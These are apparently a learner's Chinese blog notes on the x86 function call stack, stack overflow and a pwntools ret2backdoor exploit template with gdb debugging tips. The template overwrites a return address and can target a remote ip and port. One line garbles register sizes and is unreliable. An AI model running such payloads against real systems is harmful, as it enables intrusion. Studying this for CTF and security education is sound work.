1.栈的结构
函数调用栈是指程序运行时内存一段连续的区域。
用来保存函数运行时的状态信息等。
称之为“栈”是因为发生函数调用的时候,调用函数(caller)的状态保存在栈内,被调用函数(callee)的状态被压入调用栈的栈顶。
在函数调用结束时,栈顶的函数(callee)状态被弹出,栈顶恢复到调用函数(caller)的状态,恢复寄存器的值。
函数调用栈在内存中从高地址向低地址生长,所以栈顶对应的内存地址在压栈时变小,退栈时变大。
![](https://i-blog.csdnimg.cn/blog_migrate/768fb81d76cd5f6bad2b7a6a6e883a62.png)
![](https://i-blog.csdnimg.cn/blog_migrate/efe7a8602204f9e9879a7c0c5b754076.png)
![](https://i-blog.csdnimg.cn/blog_migrate/adfa7b2c30cf61b6c1cc8b1c64a898d5.png)
2.函数状态主要涉及三个寄存器——esp、ebp、eip。
esp用来存储函数调用栈的栈顶地址,在压栈和退栈时发生变化。
ebp用来存储当前函数状态的基地址 (base),在函数运行时不变,可以用来索引确定函数参数或局部变量。
eip用来存储即将执行的程序指令的地址,
cpu依照eip的储存内容读取指令并执行,eip随之指向相邻的下一条指令,如此反复,程序就得以连续执行指令。
函数调用的时候,栈的变化核心任务是将调用函数(caller)的状态保存起来,同时创建被调用函数(callee)的状态。
3.函数调用开始
首先将被调的函数(callee)的参数按照逆序压入栈内。如果被调用函数(callee)不需要参数,则没有这一步骤。这些参数会保存在调用函数(caller)的函数状态内,之后压入栈内的数据都会作为被调用函数(callee)的函数状态来保存。
![](https://i-blog.csdnimg.cn/blog_migrate/af98dd43ef831a10f0364e732bfe2e3c.png)
![](https://i-blog.csdnimg.cn/blog_migrate/6c94929f4f4d6eeb31911e04244b2401.png)
![](https://i-blog.csdnimg.cn/blog_migrate/4b368676697d86e39dcb4f563767cfc7.png)
![](https://i-blog.csdnimg.cn/blog_migrate/135632e0465caa1106364ef00662690c.png)
压栈的过程中,esp寄存器的值会不断减小(对应于栈从内存高地址向低地址生长)。压入栈内的数据包括调用参数,返回地址,调用函数的基地址,以及局部变量,其中调用参数以外的数据共同构成了被调用函数(callee)的状态。在发生调用时,程序还会将被调用函数(callee)的指令地址存到eip寄存器内,这样程序就可以依次执行调用函数的指令了。
4.函数调用结束的变化:
核心任务:丢弃被调用函数(callee)的状态,并将栈顶恢复为调用函数(caller)状态。
首先被调用函数的局部变量会从栈内直接弹出,栈顶会指向被调用函数(callee)的基地址
![](https://i-blog.csdnimg.cn/blog_migrate/f7339ec6070d71c33d61016d303fcf2e.png)
然后之前保存到栈基地地址pop到ebp中,这样调用函数的ebp(基地址)得以恢复。此时栈顶会指向返回地址。
![](https://i-blog.csdnimg.cn/blog_migrate/eb40bdde7ad0bffa6d2e9937e958628d.png)
然后将返回地址pop到eip中
至此程序恢复至原始状态
![](https://i-blog.csdnimg.cn/blog_migrate/1be2cc95dc7cda629ec7656639cc4d75.png)
5.栈溢出
栈溢出就是想办法覆盖返回地址,
栈的生长是从高地址向低地址生长的,而被调用函数的局部变量又是从低地址向高地址覆盖的,
如果局部变量的长度超过定义的,就会覆盖返回地址
![](https://i-blog.csdnimg.cn/blog_migrate/25a260ba80f23c5f1132a8bf803576e7.png)
缓冲区好像就是定义的变量的内存。
64位和32位的ebp是不同的,32位的是8个字节,而32位的是16个字节。
修改权限
sudo chmod +x 文件名
gets函数是一个危险函数,因为他没有对输入的数据进行任何的限制
那就意味着,只要有gets函数,就会有栈溢出。
var_10:v4输入变量。
s:ebp
r:返回地址
6.脚本大概
脚本大概模板:
from pwn import * #导入pwntools的库(python)
p=process("./文件名") #获得该程序,并得到一个与该程序的接口,
#远程#p=remote("ip",port)
backdoor=(0x地址)
payload='a'*0x18+p64(backdoor) #0x18个垃圾数据,填满变量缓冲区(var和ebp),到了返回地址,然后填充额为返回地址
p.recvuntil("Your suggestion:\n") #有换行(puts函数默认是有换行的)
#因为我们已经对该进程有交互了,所以会不断读取输出,读到这句话会停下来进行下一步操作
p.sendline(payload) #发送payload
p.interactive() #通过终端进行交互
7.调试
调试:
gdb :
b main #下断点
远程调试:
gdb.attach(p) #pwntools中一个和gdb交互的接口
这种方式我还没有成功,之前看视频说是必须要将gdb默认为pwngbd
cmd="b main"
cmd +="set ……"
后边可以加参数,attach(p,cmd)
attach后可以加pause()
获取进程号,并且可以停下来。
from pwn import * #导入pwntools的库(python)
p=process("./文件名") #获得该程序,并得到一个与该程序的接口,
#远程#p=remote("ip",port)
backdoor=(0x地址)
payload='a'*0x18+p64(backdoor) #0x18个垃圾数据,填满变量缓冲区(var和ebp),到了返回地址,然后填充额为返回地址
gdb.attach(p)
p.recvuntil("Your suggestion:\n") #有换行(puts函数默认是有换行的)
#因为我们已经对该进程有交互了,所以会不断读取输出,读到这句话会停下来进行下一步操作
p.sendline(payload) #发送payload
p.interactive() #通过终端进行交互
还可以通过
gdb -p 加进程id
这个文章好像不错